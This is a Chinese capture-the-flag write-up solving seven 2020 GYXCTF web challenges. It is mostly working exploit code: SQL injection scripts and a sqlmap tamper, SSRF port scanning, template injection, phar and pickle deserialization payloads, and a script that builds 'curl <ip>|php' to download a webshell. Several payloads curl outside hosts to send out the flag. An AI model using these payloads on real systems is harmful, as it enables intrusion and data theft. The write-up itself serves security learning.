2020 GYXCTF Web

师傅们出的题目都挺有意思

自己还是有很大差距

dooog

下载源文件后查看主要有三个站,分别是 client 端、cmd_server 端和 kdc 端,下面是我整理三个文件夹逻辑,随缘看一下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
# cmd_server/app.py

flag = os.system("curl http://xxxxxx/`readflag`")

1. os.system(msg[2])
2. username == msg[1]

3. username = cryptor.decrypt(base64.b64decode(authenticator))
4. authenticator = request.form.get('authenticator')

5. msg = cryptor.decrypt(base64.b64decode(server_message)).split('|')
6. server_message = request.form.get('server_message')


# client/app.py

1. res = requests.post('http://cmd_server:5002/cmd', data={'server_message': server_message, 'authenticator': authenticator})
2. client_message, server_message = res.content.split('|')
3. res = requests.post('http://kdc:5001/getTicket', data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': session['TGT']})
4. authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': int(time.time())}))
5. username = form.username.data
6. session['session_key'], session['TGT'] = cryptor.decrypt(base64.b64decode(res.content.split('|')[0])), res.content.split('|')[1]
7. res = requests.post('http://kdc:5001/getTGT', data={'username': username, 'authenticator': base64.b64encode(authenticator)})
8. authenticator = cryptor.encrypt(json.dumps({'username':username, 'timestamp': int(time.time())}))
9. username = form.username.data


# kdc/app.py

# /getTicket
1. return client_message + '|' + server_message
2. server_message = base64.b64encode(cryptor.encrypt(session_key + '|' + data['username'] + '|' + cmd))
3. data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
4. authenticator = request.form.get('authenticator')
-------------------------
# /getTGT
1. return session_key_enc + '|' + TGT
2. TGT = base64.b64encode(cryptor.encrypt(username + '|' + session_key + '|' + str(int(time.time()))))
3. data['username'] == username
4. data = json.loads(cryptor.decrypt(base64.b64decode(authenticator)))
5. authenticator = request.form.get('authenticator')

简单来说就是 client 先要注册,然后就去提交命令,提交命令需要经过访问两次 kdc 分别拿到 TGT 和 Ticket 认证身份,然后交给 cmd_server 执行,但是 cmd 限制在以下的代码里面了

1
2
3
4
5
6
7
8
9
# kdc/app.py
@app.route('/getTicket', methods=['POST'])
def Ticket_vender():
......
if data['username'] == auth_data[0] == username:
if int(time.time()) - data['timestamp'] < 60:
if cmd not in ['whoami', 'ls']:
return 'cmd error'
......

然后这里就很有意思,如果不进入这个时间判断,就可以执行任何命令了,而且不会报任何错误,不得了。回去 client/app.py 看以下会有这么一段代码

1
2
3
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))

这个其实是个虚假 error,其实根本不存在 time error,所以最后的 payload 就是在访问 TGT 和 Ticket 中间 sleep(60+) 就可以了。payload: client 文件夹拿过来,把 ip 改一下,然后 app.py a加个 sleep(61),然后就可以为所欲为了,中间代码太长,就不全放出来了。

1
2
3
4
5
6
7
8
9
#visit TGS
cryptor = AESCipher(session['session_key'])
authenticator = cryptor.encrypt(json.dumps({'username': username, 'timestamp': int(time.time())}))
print("sleep!!!!!!!!!!!") # <-------
time.sleep(61) # <-------
res = requests.post('http://121.37.164.32:5001/getTicket', data={'username': username, 'cmd': cmd, 'authenticator': base64.b64encode(authenticator), 'TGT': session['TGT']})
if res.content == 'time error':
flash('time error')
return redirect(url_for('index'))

easy_trick_gzmtu

由 Y==2020 猜测是 date() 协议,写一个 temper 用 sqlmap 注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python

from lib.core.enums import PRIORITY

__priority__ = PRIORITY.NORMAL

def dependencies():
pass

def tamper(payload, **kwargs):
return payload.replace('d', '\\d').replace('D', '\\D').replace('j', '\\j').replace('l', '\\l').replace('N', '\\N').replace('S', '\\S').replace('w', '\\w').replace('z', '\\z').
replace('W', '\\W').replace('F', '\\F').replace('m', '\\m').replace('M', '\\M').replace('n', '\\n').replace('t', '\\t').replace('L', '\\L').replace('o', '\\o').replace('Y', '\\Y').
replace('y', '\\y').replace('a', '\\a').replace('A', '\\A').replace('B', '\\B').replace('g', '\\g').replace('G', '\\G').replace('h', '\\h').replace('H', '\\H').replace('i', '\\i').
replace('s', '\\s').replace('u', '\\u').replace('e', '\\e').replace('I', '\\I').replace('O', '\\O').replace('P', '\\P').replace('T', '\\T').replace('Z', '\\Z').replace('c', '\\c').
replace('r', '\\r').replace('U', '\\U')
1
sqlmap -u http://121.37.181.246:6333/index.php\?time\=2020 --tamper=escapedate -D trick --dump
1
2
3
4
5
6
7
8
9
[16:37:52] [INFO] used SQL query returns 1 entry
Database: trick
Table: admin
[1 entry]
+----+---------------+------------------+----------+
| id | url | passwd | username |
+----+---------------+------------------+----------+
| 0 | /eGlhb2xldW5n | 20200202goodluck | admin |
+----+---------------+------------------+----------+

首先绕过 localhost 读文件,源码有提示 eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php

1
view-source:http://121.37.181.246:6333/eGlhb2xldW5n/check.php?url=file://localhost/var/www/html/eGlhb2xldW5n/eGlhb2xldW5nLnBocA==.php

根据源码知道想要得 flag,需要大写然后转为整形,最后用取反绕过就可以了,正则那里则是换行绕过,最后序列化之后扔过去。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php


class trick{
public $gf;
}
// unserialize((base64_decode($_GET['code'])));


$filename = "FLAG";
$res = "";
for($i = 0; $i < strlen($filename);$i++){
$res.=strval((ord($filename[$i])));
}
$gf = "~".~$res;
$a = new trick();
$a->gf = $gf;
$pass = "a.passwd\n20200202";
echo base64_encode(serialize($a));
echo "\n".urlencode($pass);

?>

fmkq

参考链接 https://www.php.net/manual/zh/function.sprintf

覆盖begin获取输出,begin=%1$s

head=\ 可以取当前域

只剩下 http 协议,考虑扫描端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import requests
from multiprocessing import Pool, Manager


def func(i, results):
url = "http://121.37.179.47:1101/"
# print("[*] now {} ".format(i))
url += "?head=\\&url=telnet://127.0.0.1:{}&begin=%1$s".format(i)
try:
r = requests.get(url, timeout=2)
except Exception as e:
results.append(i)
print("[+] find {} !!!".format(i))


if __name__ == "__main__":
num = 5
data = range(1,65536)
pool = Pool(processes=num)
manager = Manager()
results = manager.list()
jobs = []
for d in data:
job = pool.apply_async(func, (d, results))
jobs.append(job)
pool.close()
pool.join()
print(results)

# [80, 7496, 8080, 44590, 50301, 54448, 56332, 56333, 56334, 56335, 56336]

发现 8080 有 api,看了看接口 /tmp/{file},在这里卡了很久,后来发现居然是一个模板注入…确实这里的花括号很有深意。

找 VIP code

1
GET /?head=\&url=http://127.0.0.1:8080/read/file={file.__class__.__init__.__globals__[vip].__init__.__globals__}%26vipcode=1&begin=%1$s

拿了 vip 就可以读文件,读完源码配合字符串逃逸漏洞就可以读 flag 了

1
GET /?head=\&url=http://127.0.0.1:8080/read/file=/{vipfile.file[0]}l4g_1s_h3re_u_wi11_rua/flag%26vipcode=3l0Y42BOwFQxouc1SH5ZMXTV6nhpAkWrEItmLNsPGfi9aCKz&begin=%1$s

hackme

代码执行可以用 compress.zlib 协议绕过

compress.zlib://data:@127.0.0.1/baidu.com?,xxx

后面是4个字符的命令执行,可以用 orange 师傅的 wp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
#-*-coding:utf8-*-
import requests as r
from time import sleep
import random
import hashlib
import requests
from urllib import quote, unquote

session = requests.Session()
headers = {"Origin":"http://121.36.222.22:88","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3","Cache-Control":"max-age=0","Upgrade-Insecure-Requests":"1","User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.75 Safari/537.36","Referer":"http://121.36.222.22:88/core/index.php","Connection":"close","Accept-Encoding":"gzip, deflate","Accept-Language":"zh-CN,zh;q=0.9,en;q=0.8","Content-Type":"application/x-www-form-urlencoded"}
cookies = {"PHPSESSID":"542a952605909d3a8ee9dd21b9163be7"}


# 存放待下载文件的公网主机的IP
shell_ip = '47.115.44.232'

# 将shell_IP转换成十六进制
ip = '0x' + ''.join([str(hex(int(i))[2:].zfill(2)) for i in shell_ip.split('.')])

url = "http://121.36.222.22:88/core/"
index_url = url + "index.php/"
clear_url = url + "clear.php/"
sandbox = url + "sandbox/8d912f274798fa6f987693329d9ac7d9/"

# payload某些位置的可选字符
pos0 = random.choice('efgh')
pos1 = random.choice('hkpq')
pos2 = 'g' # 随意选择字符

payload = [
'>dir',
# 创建名为 dir 的文件

'>%s\>' % pos0,
# 假设pos0选择 f , 创建名为 f> 的文件

'>%st-' % pos1,
# 假设pos1选择 k , 创建名为 kt- 的文件,必须加个pos1,
# 因为alphabetical序中t>s

'>sl',
# 创建名为 >sl 的文件;到此处有四个文件,
# ls 的结果会是:dir f> kt- sl

'*>v',
# 前文提到, * 相当于 `ls` ,那么这条命令等价于 `dir f> kt- sl`>v ,
# 前面提到dir是不换行的,所以这时会创建文件 v 并写入 f> kt- sl
# 非常奇妙,这里的文件名是 v ,只能是v ,没有可选字符

'>rev',
# 创建名为 rev 的文件,这时当前目录下 ls 的结果是: dir f> kt- rev sl v

'*v>%s' % pos2,
# 魔法发生在这里: *v 相当于 rev v ,* 看作通配符。前文也提过了,体会一下。
# 这时pos2文件,也就是 g 文件内容是文件v内容的反转: ls -tk > f

# 续行分割 curl 0x11223344|php 并逆序写入
'>p',
'>ph\\',
'>\|\\',
'>%s\\' % ip[8:10],
'>%s\\' % ip[6:8],
'>%s\\' % ip[4:6],
'>%s\\' % ip[2:4],
'>%s\\' % ip[0:2],
'>\ \\',
'>rl\\',
'>cu\\',

'sh ' + pos2,
# sh g ;g 的内容是 ls -tk > f ,那么就会把逆序的命令反转回来,
# 虽然 f 的文件头部会有杂质,但不影响有效命令的执行
'sh ' + pos0,
# sh f 执行curl命令,下载文件,写入木马。
]

print payload

# clear
s = session.get(clear_url)
print s.text

# attack
for i in payload:
paramsPost = {"url":"compress.zlib://data:@127.0.0.1/baidu.com?,{}".format(quote(i))}
s = session.post(url, data=paramsPost, headers=headers, cookies=cookies)
print '[%d]' % s.status_code, paramsPost
sleep(0.1)

# cmd
s = session.get(sandbox + 'fun.php?cmd=whoami')
print '[%d]' % s.status_code, s.url
print s.text

nweb

一个简单的布尔注入,过滤了 select 和 from,但是可以双写绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from multiprocessing import Pool, Manager
import requests
import binascii
import urllib.parse

# database ctf-2
# version 5.5.59-0ubuntu0.14.04.1
# user ctf2@localhost
# table admin,fl4g,jd,user
# username,pwd,qq
# flag{Rogue-MySql-Server


def func(index, results):

l = 0
r = 127
m = (l+r)//2

while l<r:

session = requests.Session()
# paramsPost = {"flag":"1'||(ascii((mid((select database()),{},1)))>{})\x23".format(index,m)}
# paramsPost = {"flag":"1'||(ascii((mid((seselectlect group_concat(column_name) frofromm information_schema.columns where table_name='user'),{},1)))>{})\x23".format(index,m)}
paramsPost = {"flag":"1'||(ascii((mid((seselectlect flag frofromm fl4g),{},1)))>{})\x23".format(index,m)}
# paramsPost = {"flag":"1'||(ascii((mid((seselectlect load_file('flag.php')),{},1)))>{})\x23".format(index,m)}
cookies = {"PHPSESSID":"l6095404o3845i84ofd6fn87r1","username":"21232f297a57a5a743894a0e4a801fc3"}

res = session.post("http://121.37.179.47:1001/search.php", data=paramsPost, cookies=cookies, proxies={"http":"127.0.0.1:8080"})
if 'no' in res.text:
r = m
m = (l+r)//2
else:
l = m + 1
m = (l+r)//2

print(index+1, m)
results[index] = m


if __name__ == "__main__":
num = 5
data_num = 40
data = range(data_num)
pool = Pool(processes=num)
manager = Manager()
results = manager.list([0]*data_num)
jobs = []
for d in data:
job = pool.apply_async(func, (d, results))
jobs.append(job)
pool.close()
pool.join()
print(results)
results = ''.join([chr(_) for _ in results])
print(results)

webct

phar 反序列化 + 欺骗服务器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php

class Fileupload
{
public $file;
}

class Listfile
{
public $file;
}

$a = new Listfile();
$a->file = "/;curl http://47.115.44.232:9001/`/readflag`;";
$b = new Fileupload();
$b->file = $a;

$filename = 'poc.phar';
file_exists($filename) ? unlink($filename) : null;
$phar=new Phar($filename);
$phar->startBuffering();
$phar->setStub("GIF89a< ?php __HALT_COMPILER(); ?>");
$phar->setMetadata($b);
$phar->addFromString("foo.txt","bar");
$phar->stopBuffering();
?>

<!-- rogue_mysql_server https://github.com/allyshka/Rogue-MySql-Server/blob/master/rogue_mysql_server.py -->
<!-- 记得 options 要填 8 因为 MYSQLI_OPT_LOCAL_INFILE == 8 -->

webtmp

pickle 反序列化,利用 c 标签覆盖全局变量

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import base64
import io
import sys
import pickle
import secret
from flask import Flask, Response, render_template, request

class Animal:
def __init__(self, name, category):
self.name = name
self.category = category

def __repr__(self):
return f'Animal(name={self.name!r}, category={self.category!r})'

def __eq__(self, other):
return type(other) is Animal and self.name == other.name and self.category == other.category


class RestrictedUnpickler(pickle.Unpickler):
def find_class(self, module, name):
if module == '__main__':
return getattr(sys.modules['__main__'], name)
raise pickle.UnpicklingError("global '%s.%s' is forbidden" % (module, name))


def restricted_loads(s):
return RestrictedUnpickler(io.BytesIO(s)).load()


def read(filename, encoding='utf-8'):
with open(filename, 'r', encoding=encoding) as fin:
return fin.read()


payload = b'\x80\x03c__main__\nsecret\n}(Vname\nVrua\nVcategory\nVwww\nub0c__main__\nAnimal\n)\x81}(X\x04\x00\x00\x00nameX\x03\x00\x00\x00ruaX\x08\x00\x00\x00categoryX\x03\x00\x00\x00wwwub.'
pickle_data = base64.b64encode(payload)
print(pickle_data)

try:
if b'R' in base64.b64decode(pickle_data):
print('No... I don\'t like R-things. No Rabits, Rats, Roosters or RCEs.')
else:
result = restricted_loads(base64.b64decode(pickle_data))
if type(result) is not Animal:
print('Are you sure that is an animal???')
correct = (result == Animal(secret.name, secret.category))
print("get flag!!!!")
except Exception as e:
print(repr(e))
print("Something wrong")